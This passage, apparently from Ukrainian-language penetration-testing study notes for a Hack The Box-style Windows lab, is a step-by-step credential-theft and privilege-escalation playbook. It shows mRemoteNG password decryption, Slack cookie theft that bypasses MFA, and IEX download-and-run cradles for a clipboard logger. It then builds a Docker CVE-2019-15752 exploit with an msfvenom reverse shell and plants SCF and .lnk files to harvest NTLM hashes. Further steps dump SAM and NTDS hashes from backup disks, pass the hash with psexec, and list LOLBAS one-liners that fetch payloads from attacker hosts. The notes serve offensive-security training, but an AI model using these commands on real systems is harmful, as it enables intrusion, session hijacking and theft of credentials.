$password; python3 mremoteng_decrypt.py -s
"EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/k
iakA==" -p $password 2>/dev/null; done
```

sh

```
Spring2017
Spring2016
admin
Password: ASDki230kasd09fk233aDA
admin admin
admins
```

▸ коли знайдено правильний pass — з'являється рядок `Password: <value>`; для `Protected` атрибута: `Password: ThisIsProtected`

4.3 IM Client cookie theft

Концепція — чому cookie, а не пароль

Slack, Teams, Discord, інші web-based IM клієнти використовують **long-lived auth cookies** замість повторного запиту паролю. Вкравши cookie, ми можемо залогінитись без паролю і навіть обійти MFA — бо MFA вже пройшов юзер, а нам дісталась вже авторизована сесія.

Для Slack ключовий cookie — `d` (містить `xoxd-...` token).

Firefox — незашифровані cookies у SQLite

```ps
PS C:\htb> copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
```

```out
<mute — файл скопійовано у поточну папку>
```

▸ шлях містить random-id — `*` wildcard це обробляє

```sh
Cyberduckk@htb[/htb]$ python3 cookieextractor.py --dbpath "/home/plaintext/cookies.sqlite"
--host slack --cookie d
```

```out
(201, '', 'd', 'xoxd-
CJRafjAvR3UcF%2FXpCDOu6xEUVa3romzdAPiVoaqDHZW5A9oOpiHF0G749yFOSCedRQHi%2FldpLjiPQoz0OXAwS0%
2FyqK5S8bw2Hz%2FlW1AbZQ%2Fz1zCBro6JA1sCdyBv7I3GSe1q5lZvDLBuUHb86C%2Bg067lGIW3e1XEm6J5Z23wmR
jSmW9VERfce5KyGw%3D%3D', '.slack.com', '/', 1974391707, 1659379143849000, 1658439420528000,
1, 1, 0, 1, 1, 2)
```

▸ 4-те поле кортежу = value cookie `d`; URL-encoded; починається з `xoxd-`

Chrome — cookies зашифровані DPAPI

```ps
PS C:\htb> IEX(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpP
ack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
PS C:\htb> Invoke-SharpChromium -Command "cookies slack.com"
```

```
[*] Beginning Google Chrome extraction.

[X] Exception: Could not find file 'C:\Users\lab_admin\AppData\Local\Google\Chrome\User Data\\Default\Cookies'.

[*] Finished Google Chrome extraction.
```

out

▸ SharpChromium має hardcoded шлях, який застарів; в сучасному Chrome файл у `\Default\Network\Cookies`

Fix — копіюємо cookies файл на очікуване місце

```ps
PS C:\htb> copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"
PS C:\htb> Invoke-SharpChromium -Command "cookies slack.com"
```

out

```
[*] Beginning Google Chrome extraction.

--- Chromium Cookie (User: lab_admin) ---
Domain         : slack.com
Cookies (JSON) :
[
  {
    "domain": ".slack.com",
    "expirationDate": 1974643257.67155,
    "httpOnly": true,
    "name": "d",
    "path": "/",
    "secure": true,
    "value": "xoxd-
5KK4K2RK2ZLs2sISUEBGUTxLO0dRD8y1wr0Mvst%2Bm7Vy24yiEC3NnxQra8uw6IYh2Q9prDawms%2FG72og092YE0U
RsfXzxHizC2OAGyzmIzh2j1JoMZNdoOaI9DpJ1Dlqrv8rORsOoRW4hnygmdR59w9Kl%2BLzXQshYIM4hJZgPktT0WOr
XV83hNeTYg%3D%3D"
  }
]

[*] Finished Google Chrome extraction.
```

▸ JSON формат; value `xoxd-...` — копіюємо в одну лінію

Використання cookie — Cookie-Editor в браузері

1. Встановити Cookie-Editor extension у Firefox (працює на будь-якій ОС).
2. Відкрити `https://slack.com`, натиснути іконку Cookie-Editor.
3. Створити новий cookie: Name= `d`, Value= `<xoxd-...>`, Domain= `.slack.com`, Path= `/`, Secure + HttpOnly.
4. Зберегти (save icon), **refresh** сторінку.
5. Ми залоговані як юзер. Клікнути *Launch Slack*.

ℹ Якщо при launch Slack запитує credentials знову — повторити процес з тим самим cookie `d` на `app.slack.com`, `<workspace>.slack.com`. Зазвичай Slack просить cookie на 2-3 поддоменах.

⚠ **УВАГА:** Це live session — blue team бачить аномальну активність юзера. Логіни з нових IP/геолокацій генерують Slack Security Alert email до юзера.

Пошук у Slack після логіну

Ключові запити через вбудований Slack search:

- `password`, `creds`, `pw:`, `passw`
- `has:link` у private channels з назвами `#it-ops`, `#admin`, `#security`
- `from:@ceo`, `from:@cto` — повідомлення керівництва з sensitive data
- Канали `#general`, `#random` — люди часто діляться паролями "на секунду" і забувають видалити

4.4 Clipboard monitoring

Адміни, що використовують password managers, copy-paste паролі замість друку. Keyloggers безсилі. Clipboard-логер — єдиний спосіб.

```ps
PS C:\htb> IEX(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-
Clipboard/master/Invoke-Clipboard.ps1')
PS C:\htb> Invoke-ClipboardLogger
```

⏳ **ЧЕКАТИ:** Треба почекати — активність юзера сповільнена, дивимось 10-60 хвилин.

```out
https://portal.azure.com

Administrator@something.com

Sup9rC0mpl2xPa$$ws0921lk
```

▸ часто перехоплюється послідовність URL → username → password → 2FA token

ℹ Clipboard працює і для RDP — якщо юзер зайшов до нас по RDP з увімкненим Clipboard redirection, його clipboard стає нашим clipboard'ом. Це окремий jackpot для jump-хостів IT.

4.5 Backup servers attack — restic

Backup-сервери — одна з найвигідніших цілей: містять копії *десятків* інших хостів, включно з DC і SQL серверами. Приклад нижче — з restic, але методологія універсальна.

Перевірка, чи є restic repository

```ps
PS C:\htb> where.exe restic 2>$null; $env:RESTIC_PASSWORD
```

```out
C:\Windows\System32\restic.exe

Password123!
```

▸ якщо `RESTIC_PASSWORD` вже встановлений — ми в середовищі backup-аккаунта, нам не потрібен brute

Ініціалізація свого repository (для тестів)

```ps
PS C:\htb> mkdir E:\restic2; restic.exe -r E:\restic2 init
```

```out
    Directory: E:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----          8/9/2022   2:16 PM                restic2
enter password for new repository:
enter password again:
created restic repository fdb2e6dd1d at E:\restic2

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
```

▸ інтерактивний prompt password — коли restic бачить порожню env var

Backup з VSS (для зайнятих системних файлів)

```ps
PS C:\htb> $env:RESTIC_PASSWORD = 'Password'
PS C:\htb> restic.exe -r E:\restic2\ backup C:\Windows\System32\config --use-fs-snapshot
```

```
repository fdb2e6dd opened successfully, password is correct
no parent snapshot found, will read all files
creating VSS snapshot for [c:\]
successfully created snapshot for [c:\]
error: Open: open \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config:
Access is denied.

Files:           0 new,     0 changed,     0 unmodified
Dirs:            3 new,     0 changed,     0 unmodified
Added to the repo: 914 B

processed 0 files, 0 B in 0:02
snapshot b0b6f4bb saved
Warning: at least one source file could not be read
```

▸ `--use-fs-snapshot` викликає VSS; навіть при `Access denied` на окремих файлах — snapshot зберігається

Список наявних backup'ів у repository

```ps
PS C:\htb> restic.exe -r E:\restic2\ snapshots
```

```
repository fdb2e6dd opened successfully, password is correct
ID        Time                 Host             Tags        Paths
-------------------------------------------------------------------------------------
9971e881  2022-08-09 14:18:59  PILLAGING-WIN01              C:\SampleFolder
b0b6f4bb  2022-08-09 14:19:41  PILLAGING-WIN01              C:\Windows\System32\config
afba3e9c  2022-08-09 14:35:25  PILLAGING-WIN01              C:\Users\jeff\Documents
-------------------------------------------------------------------------------------
3 snapshots
```

▸ шукати snapshots: `C:\Windows\System32\config` = SAM/SYSTEM; `C:\Users` = AppData credentials; `C:\inetpub` = web.config

Restore обраного backup

```ps
PS C:\htb> restic.exe -r E:\restic2\ restore b0b6f4bb --target C:\Restore
```

```
repository fdb2e6dd opened successfully, password is correct
restoring <Snapshot b0b6f4bb of [C:\Windows\System32\config] at 2022-08-09 14:19:41 by
PILLAGING-WIN01\jeff@PILLAGING-WIN01> to C:\Restore
```

▸ файли відновлено у `C:\Restore\C\Windows\System32\config\` — там SAM, SYSTEM, SECURITY → secretsdump

ℹ Restic на Linux працює так само. Якщо не знаємо, де repository — шукаємо папку з підпапками `snapshots/` + `keys/` + `config`. Якщо `RESTIC_PASSWORD` не встановлена — треба brute-force через `for` loop.

4.6 Snaffler — мережева файлова розвідка

Snaffler краулить SMB-шари усього AD і класифікує знахідки за рівнем severity (Red/Yellow/Green/Black). Окремий інструмент рівня "cheat code" — на великих AD часто дає domain admin за годину.

```ps
PS C:\htb> .\Snaffler.exe -s -d INLANEFREIGHT -o snaffler.log
```

⏳ **ЧЕКАТИ:** 30 хвилин до 4+ годин залежно від розміру AD і кількості file shares.

```out
  .dBBBBb   adBBBBBBBBBBb   .dBBBBBb
   YP  BB   BB BP  YP  BB   BP    YP
       dP   BB     BB     BB
      dP    BB            BB
     dP     BB            BB
    dP      BB            BB
           dP            dP

[File] {Red}<web.config|R|14KB|2023-11-15T09:22:03>(\\FILE01\apps$\portal\web.config)
  <add name="db" connectionString="Server=sql01;User Id=sa;Password=P@ssw0rd2023"/>

[File] {Red}<id_rsa|R|2KB|2023-10-08T14:05:11>(\\BACKUP02\users$\jeff\.ssh\id_rsa)
  -----BEGIN RSA PRIVATE KEY-----

[File] {Yellow}<unattend.xml|R|4KB|2023-01-20T08:15:42>
(\\DEPLOY01\shares$\configs\win10.xml)
  <Password><Value>U2VjdXJlUEBzc3dvcmQh</Value><PlainText>false</PlainText></Password>

[File] {Green}<notes.txt|R|500B|2023-12-01T11:00:00>(\\FILE01\users$\admin\notes.txt)
  Renamed old backup folder, nothing sensitive here.
```

▸ кольори: Red = критично (pwd у cleartext, private keys), Yellow = вручну; Green = подивитись якщо час

5. Interacting with Users

> Коли з pillaging більше нічого витягнути, а privesc-векторів чистих немає — залишається чекати, доки юзер сам надасть нам credentials. Розставляємо пастки: traffic-capture, process-monitor, SCF/.lnk файли у file share, пастка у Docker folder. Це пасивна фаза — 30 хвилин до кількох годин.

5.1 Traffic capture (Wireshark)

Передумова — Npcap без Admin-restriction

За замовчуванням Npcap ставиться з опцією *"Restrict Npcap driver's access to Administrators only"* **ВИМКНЕНОЮ**. Якщо юзер під час установки не поставив цю галочку — будь-який звичайний юзер може капчурити трафік.

```cmd
C:\htb> reg query "HKLM\SYSTEM\CurrentControlSet\Services\npcap\Parameters" /v AdminOnly
2>nul
```

```out
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters
    AdminOnly    REG_DWORD    0x0
```

> ▸ `0x0` = без restriction, звичайний юзер може капчурити

Приклад — перехоплення FTP credentials

На Wireshark GUI вибрати інтерфейс, накласти фільтр `ftp`. Під час активної FTP-сесії іншого юзера побачимо:

```out
10.129.43.8 → 10.129.43.7 FTP 220-FileZilla Server
10.129.43.7 → 10.129.43.8 FTP USER root
10.129.43.8 → 10.129.43.7 FTP 331 Password required
10.129.43.7 → 10.129.43.8 FTP PASS FTP_adm1n!
10.129.43.8 → 10.129.43.7 FTP 230 Logged on
```

> ▸ credentials у plaintext для: FTP, HTTP Basic, POP3, IMAP, SMTP, SNMP, Telnet

Альтернатива — net-creds на атакуючій машині

```sh
Cyberduckk@htb[/htb]$ sudo python3 net-creds.py -i tun0
```

```
[*] Listening on interface: tun0
[10.10.14.3 > 10.129.43.7] POST /login HTTP/1.1
  Host: portal.internal
  Cookie: PHPSESSID=abc123def456
  Content-Type: application/x-www-form-urlencoded

  username=admin&password=Welcome2023!
```

out

> ▸ працює і з live-інтерфейсом, і з pcap-файлом (`-p file.pcap`)

5.2 Process command line monitoring

Scheduled tasks, нічні cron-jobs, ручні адмін-запуски — усі вони можуть містити credentials у argv. Windows NT не маскує argv для непривілейованих юзерів — ми можемо бачити командну лінію будь-якого процесу.

One-shot snapshot

```ps
PS C:\htb> Get-WmiObject Win32_Process | Select CommandLine | Where CommandLine -match
"/u:|/p:|password|cred|token"
```

```out
CommandLine
-----------
net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd
```

> ▸ один snapshot = що зараз виконується; scheduled tasks часто 1-2 сек — може пропустити

Loop — моніторинг кожні 2 секунди

Скрипт `procmon.ps1`:

```ps
while($true)
{
  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```

> ▸ diff між двома snapshot'ами — ловимо **нові** команди, навіть якщо вони тривали менше 2 сек

Запуск з атакуючої машини через IEX

```ps
PS C:\htb> IEX (iwr 'http://10.10.10.205/procmon.ps1')
```

> ⏳ **ЧЕКАТИ:** Лишити на 30-120 хвилин — чекаємо на scheduled tasks.

```
InputObject                                                          SideIndicator
-----------                                                          -------------
@{CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-...}} =>
@{CommandLine="C:\Windows\system32\cmd.exe" }                        =>
@{CommandLine=\??\C:\Windows\system32\conhost.exe 0x4}               =>
@{CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd}  =>
@{CommandLine="C:\Windows\system32\backgroundTaskHost.exe" ...}      <=
```

out

▸ `=>` = новий процес (з'явився); `<=` = процес завершився; шукаємо тільки `=>` з паролями

5.3 CVE-2019-15752 — Docker Desktop privesc

ℹ Docker Desktop < 2.1.0.1 при старті шукає ряд docker-credential-* бінарників у `C:\ProgramData\DockerDesktop\version-bin\`. Папка має **Full Write** для `BUILTIN\Users`. Якщо закинути туди свій `docker-credential-wincred.exe` — він виконається коли:
(а) Docker service рестартує або
(б) юзер виконає `docker login`.

Крок 1 — перевірка вразливості

```ps
PS C:\htb> Test-Path "C:\ProgramData\DockerDesktop\version-bin"; icacls
"C:\ProgramData\DockerDesktop\version-bin"
```

```out
True
C:\ProgramData\DockerDesktop\version-bin
    BUILTIN\Users:(OI)(CI)(F)
    NT AUTHORITY\SYSTEM:(OI)(CI)(F)
    BUILTIN\Administrators:(OI)(CI)(F)
```

▸ `BUILTIN\Users:(F)` на папці = писабельна будь-яким юзером = CVE-2019-15752 експлуатабельний

Крок 2 — генерація payload

```sh
Cyberduckk@htb[/htb]$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=9443
-f exe > docker-credential-wincred.exe
```

```out
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
```

▸ ім'я файлу має точно збігатися — Docker шукає саме `docker-credential-wincred.exe` (варіації: `.bat`, `.cmd`)

Крок 3 — закинути payload у writable папку

```ps
PS C:\htb> Copy-Item docker-credential-wincred.exe "C:\ProgramData\DockerDesktop\version-bin\"
```

```out
<файл скопійовано>
```

▸ listener на атакуючій: `nc -lvnp 9443`; чекати рестарту Docker або docker login

⚠ **УВАГА:** Це довгострокова пастка — payload виконається коли юзер/система вирішить його запустити. Під час engagement — корисно для multi-day операцій. Для short-engagement — зайвий ризик лишити залишки.

5.4 SCF file attack — NTLMv2 harvest

ℹ SCF (Shell Command File) — формат, що Windows Explorer виконує автоматично при відкритті папки. Встановивши `IconFile` на UNC-шлях до нашого attacker-SMB, при перегляді папки Windows автоматично звертається до SMB з NTLM-автентифікацією. Ловимо hash через Responder.

⚠ **УВАГА:** SCF працює до Windows Server 2019 / Windows 10 1809. На новіших системах Microsoft вимкнув автозавантаження SCF icons. Для Server 2019+ — див. Розділ 5.5 (.lnk).

Крок 1 — створення пастки

```cmd
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
```

▸ зберегти як `@Inventory.scf` — `@` на початку виведе файл у верх каталогу (сортування)

Крок 2 — закинути у heavily-accessed share

```ps
PS C:\htb> Copy-Item @Inventory.scf \\FILE01\shared\
```

```out
<файл скопійовано у share>
```

▸ вибирати share, куди юзери точно зайдуть: `\\FILE01\users$\jeff`, `\\FILE01\projects\2024`

Крок 3 — запуск Responder

```sh
Cyberduckk@htb[/htb]$ sudo responder -wrf -v -I tun0
```

```out
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.2.0

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    SMB server                 [ON]
    Kerberos server            [ON]

[+] Generic Options:
    Responder NIC              [tun2]
    Responder IP               [10.10.14.3]
    Challenge set              [random]

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.129.43.30
[SMB] NTLMv2-SSP Username : WINLPE-SRV01\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::WINLPE-
SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:01010...
```

▸ ключовий рядок — `NTLMv2-SSP Hash`; зберегти у файл для hashcat

Крок 4 — offline brute через hashcat

```sh
Cyberduckk@htb[/htb]$ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
```

```
hashcat (v6.1.1) starting...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385

ADMINISTRATOR::WINLPE-SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:...:Welcome1

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WINLPE-SRV01:815c504e7b06ebda:...
Time.Started.....: Thu May 27 19:16:18 2021 (1 sec)
Speed.#1.........:  1233.7 kH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 43008/14344385 (0.30%)
```

▸ mode `-m 5600` = NetNTLMv2; після `:` — plaintext password

5.5 .lnk file attack — для Server 2019+

Те саме але через Windows Shortcut (.lnk) — працює на всіх сучасних ОС, включно з Server 2019/Win11.

Генерація .lnk через PowerShell

```ps
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\10.10.14.3\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth
request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

▸ `TargetPath` на UNC + `IconLocation` на local shell32.dll — коли юзер навіть просто *перегляне* папку, Explorer спробує resolve UNC → NTLM

Закинути у share + запустити Responder

```ps
PS C:\htb> Copy-Item C:\legit.lnk \\FILE01\shared\
```

```
<файл скопійовано>
```

▸ Responder на атакуючій — той самий (див. 5.4); чекати 2-5 хвилин поки юзер перегляне share

✓ **TIP:** Можна замість `.lnk` використати **Lnkbomb** — інструмент, що створює .lnk з готовими параметрами для NTLMv2 harvest. Переваги: підтримка кастомних іконок, більше control над

> поведінкою.

---

6. Mount VHDX / VMDK — extraction хешів з offline disks

> Віртуальні диски у backup-шарі — це **цілі інші хости**, які нам доступні без на них шеллу. На live системі SAM заблокований для читання навіть адміном; на offline VHDX — просто файл, який ми відкриваємо. Секретсдамп витягує NT хеші local admin'ів, LSA Secrets, cached domain credentials. Для бекапу DC — це весь AD через NTDS.dit.

6.1 Знаходження .vhd / .vhdx / .vmdk

Локально на хості

```ps
PS C:\htb> Get-ChildItem -Path C:\, D:\, E:\ -Recurse -Include *.vhd, *.vhdx, *.vmdk -EA
Ignore -Force 2>$null | Select FullName, Length
```

⏳ **ЧЕКАТИ:** Сканує всі диски — до 10 хвилин.

```out
FullName                                            Length
--------                                            ------
E:\Backups\SQL01\SQL01-disk1.vmdk                 53687091200
E:\Backups\DC01\DC01-disk1.vhdx                   64424509440
E:\VirtualMachines\Test-Win10.vhdx                32212254720
```

▸ пріоритет: DC → SQL → File server → workstations; DC дає ALL domain hashes через NTDS.dit

На мережевих шарах

```ps
PS C:\htb> Get-SmbShare | ForEach-Object { Get-ChildItem "\\localhost\$($_.Name)" -Recurse
-Include *.vhd, *.vhdx, *.vmdk -EA Ignore }
```

```out
    Directory: \\localhost\backups$\SQL01

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        12/01/2023  3:45 AM    53687091200 SQL01-disk1.vmdk
```

▸ shares з назвами `backup`, `vms`, `images`, `archive` — головні кандидати

6.2 Mount на Linux (Kali)

VMDK (VMware)

```sh
Cyberduckk@htb[/htb]$ mkdir /mnt/vmdk
Cyberduckk@htb[/htb]$ guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
```

```out
<mute — filesystem мауноване у read-only>
```

▸ `-i` = inspect filesystem і вибрати OS partition; `--ro` read-only щоб не пошкодити original

```sh
Cyberduckk@htb[/htb]$ ls /mnt/vmdk
```

```out
'$Recycle.Bin'   PerfLogs       ProgramData   Recovery      Windows
 Boot             'Program Files' 'Program Files (x86)'   Users
```

▸ стандартна Windows-структура → шукаємо `Windows/System32/config/`

VHDX (Hyper-V)

```sh
Cyberduckk@htb[/htb]$ mkdir /mnt/vhdx
Cyberduckk@htb[/htb]$ guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
```

```out
<mute — mounted>
```

▸ `-m /dev/sda1` явно вказує partition; для мультипартишн дисків — спочатку `virt-filesystems -a <file>`

6.3 Mount на Windows

Через Disk Management GUI

1. `diskmgmt.msc`
2. Action → Attach VHD → Browse до `.vhd` / `.vhdx` файлу
3. Check *Read-only* → OK
4. Новий lettered drive з'являється в Explorer

Через PowerShell (програмно)

```ps
PS C:\htb> Mount-VHD -Path E:\Backups\DC01\DC01-disk1.vhdx -ReadOnly
```

```
ComputerName      : WIN-SRV01
ElectronicSerialNumber: NX0000...
Number            : 3
Size              : 64424509440
<SNIP>
```

▸ diskpart призначить letter автоматично; перевірити через `Get-Disk`

Через 7-Zip (коли нема прав на mount)

```ps
PS C:\htb> & 'C:\Program Files\7-Zip\7z.exe' x SQL01-disk1.vmdk -o".\extracted"
```

```
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov
Extracting archive: SQL01-disk1.vmdk
<SNIP>
Everything is Ok
Files: 45234
Size: 53687091200
```

▸ 7-Zip не вимагає admin-прав; працює з обома форматами

6.4 Extraction хешів через secretsdump

Локалізація registry hives у mounted volume

```sh
Cyberduckk@htb[/htb]$ ls /mnt/vmdk/Windows/System32/config/
```

```
BBI        DEFAULT        SAM          SECURITY    SOFTWARE
SYSTEM     TxR            BCD-Template ComponentsRegistry.blf journal/
DEFAULT.LOG1   Journal    SAM.LOG1     SECURITY.LOG1  SOFTWARE.LOG1
SYSTEM.LOG1    ELAM       DRIVERS      systemprofile/ userdiff
```

▸ потрібні три файли: `SAM`, `SYSTEM`, `SECURITY` (для LSA Secrets)

Копіювання і запуск secretsdump

```sh
Cyberduckk@htb[/htb]$ cp /mnt/vmdk/Windows/System32/config/{SAM,SYSTEM,SECURITY} ~/dump/
Cyberduckk@htb[/htb]$ cd ~/dump
Cyberduckk@htb[/htb]$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
```

```
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x35fb33959c691334c2e4297207eeeeba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
[*] Dumping cached domain logon information (domain/username:hash)
INLANEFREIGHT.LOCAL/jeff:$DCC2$10240#jeff#e35c4e...
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
INLANEFREIGHT\SQL01$:aes256-cts-hmac-sha1-96:4c5...
[*] DPAPI_SYSTEM
dpapi_machinekey:0xa4c...
[*] NL$KM
0000: 8C 9B 2E 90 C4 ...
[*] DefaultPassword
(Unknown User):Sup3rS3cr3t!
```

▸ 3 джерела: SAM (local user NT hashes), LSA Secrets (machine account, DPAPI key, autologon password), DCC2 (cached domain creds — slow to crack, hashcat -m 2100)

Для backup DC — NTDS.dit extraction

```sh
Cyberduckk@htb[/htb]$ ls /mnt/vhdx/Windows/NTDS/
```

```
edb.chk   edb.log   ntds.dit   temp.edb
```

▸ DC має `ntds.dit` у `C:\Windows\NTDS\` — це весь AD database

```sh
Cyberduckk@htb[/htb]$ cp /mnt/vhdx/Windows/NTDS/ntds.dit ~/dump/
Cyberduckk@htb[/htb]$ cp /mnt/vhdx/Windows/System32/config/SYSTEM ~/dump/
Cyberduckk@htb[/htb]$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

```
[*] Target system bootKey: 0x35fb33959c691334c2e4297207eeeeba
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
INLANEFREIGHT\Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0
c089c0:::
INLANEFREIGHT\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b3c8a7f9e1d5...:::
INLANEFREIGHT\sqlsvc:1108:aad3b435b51404eeaad3b435b51404ee:5c4fb2a8b1e9...:::
INLANEFREIGHT\bob:1120:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
<SNIP — всі users домену>
[*] Kerberos keys grabbed
INLANEFREIGHT\Administrator:aes256-cts-hmac-sha1-96:a4c...
INLANEFREIGHT\krbtgt:aes256-cts-hmac-sha1-96:f8b...
```

▸ NT хеш `krbtgt` = Golden Ticket; хеш `Administrator:500` — DA; aes256 keys для Silver/Golden Ticket у AES-режимі

⚠ **УВАГА:** Дамп з backup VHDX — зазвичай **старі** хеші, на 1-30 днів давні (залежно від частоти backup). Може не підійти, якщо паролі ротується. Для критичних акаунтів (Administrator, krbtgt) це зазвичай працює — їх рідко міняють.

6.5 Pass-the-Hash — використання знайдених хешів

```sh
Cyberduckk@htb[/htb]$ impacket-psexec -hashes :cf3a5525ee9414229e66279623ed5c58
Administrator@10.129.43.15
```

```out
Impacket v0.9.23 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.129.43.15.....
[*] Found writable share ADMIN$
[*] Uploading file wVwqPNkW.exe
[*] Opening SVCManager on 10.129.43.15.....
[*] Creating service BnwK on 10.129.43.15.....
[*] Starting service BnwK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

▸ формат хешу для PtH: `:<NT_HASH>` (порожній LM перед `:`); працює з impacket-psexec/wmiexec/smbexec/secretsdump

---

7. Miscellaneous Techniques

Різні одиничні, але потужні техніки, що не вкладаються у основні категорії: LOLBAS для stealth-execution, AlwaysInstallElevated для MSI-privesc, CVE-2019-1388 для GUI-based UAC bypass, scheduled tasks abuse, і перевірка description-полів юзерів.

7.1 LOLBAS — Living Off The Land Binaries and Scripts

ℹ LOLBAS (`lolbas-project.github.io`) — каталог Microsoft-підписаних бінарників, які мають неочевидний функціонал: download файлів, виконання коду, UAC bypass, keylogging. Usage: коли AV/EDR блокує запуск нерідних бінарників, але довіряє підписаним Microsoft — ми використовуємо "свої" Windows-програми проти системи.

certutil — скачати файл з інтернету

```ps
PS C:\htb> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
```

```out
****  Online  ****
  0000  ...
  000c
CertUtil: -URLCache command completed successfully.
```

▸ оригінальне призначення certutil — робота з сертифікатами; функція `-urlcache` як бонус = HTTP download

certutil — base64 encode

```cmd
C:\htb> certutil -encode file1 encodedfile
```

```out
Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfully.
```

▸ для exfiltration через текстові канали (чати, email, DNS TXT records)

certutil — base64 decode

```cmd
C:\htb> certutil -decode encodedfile file2
```

```
Input Length = 70
Output Length = 7
CertUtil: -decode command completed successfully.
```

out

▸ корисне для ingestion на target — отриманий base64 string → бінарник

Інші корисні LOLBAS

Binary	Техніка	Приклад
`rundll32.exe`	Execute DLL / script	`rundll32 \\10.10.14.3\share\payload.dll,0`
`regsvr32.exe`	Execute scriptlet	`regsvr32 /s /n /u /i:http://atk/file.sct scrobj.dll`
`mshta.exe`	Execute HTA (VBS/JS)	`mshta.exe http://atk/payload.hta`
`wmic.exe`	XSL execution	`wmic os get /format:"http://atk/pay.xsl"`
`InstallUtil.exe`	Execute .NET code	`InstallUtil /u payload.exe` (Uninstall method)
`MSBuild.exe`	Compile + execute C#	`MSBuild.exe payload.xml`
`bitsadmin.exe`	HTTP download	`bitsadmin /transfer job /download /priority high http://atk/file C:\file`
`schtasks.exe`	Remote execution	`schtasks /create /tn job /tr "cmd.exe /c ..." /sc once /st 12:00`

✓ **TIP:** Завжди шукай LOLBAS-альтернативу, перед тим як писати свій unsigned бінарник. Часто одна строчка з рідної Windows-програми замінює весь payload.

7.2 AlwaysInstallElevated — MSI-privesc

Якщо GPO-політика `Always install with elevated privileges` увімкнена в **обох** hive (HKCU + HKLM), будь-який `.msi` встановлюється з правами **NT AUTHORITY\SYSTEM**. Настройка у GPO:

- `Computer Configuration\Administrative Templates\Windows Components\Windows Installer` → Enabled
- `User Configuration\Administrative Templates\Windows Components\Windows Installer` → Enabled

Перевірка через reg query

```cmd
C:\htb> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
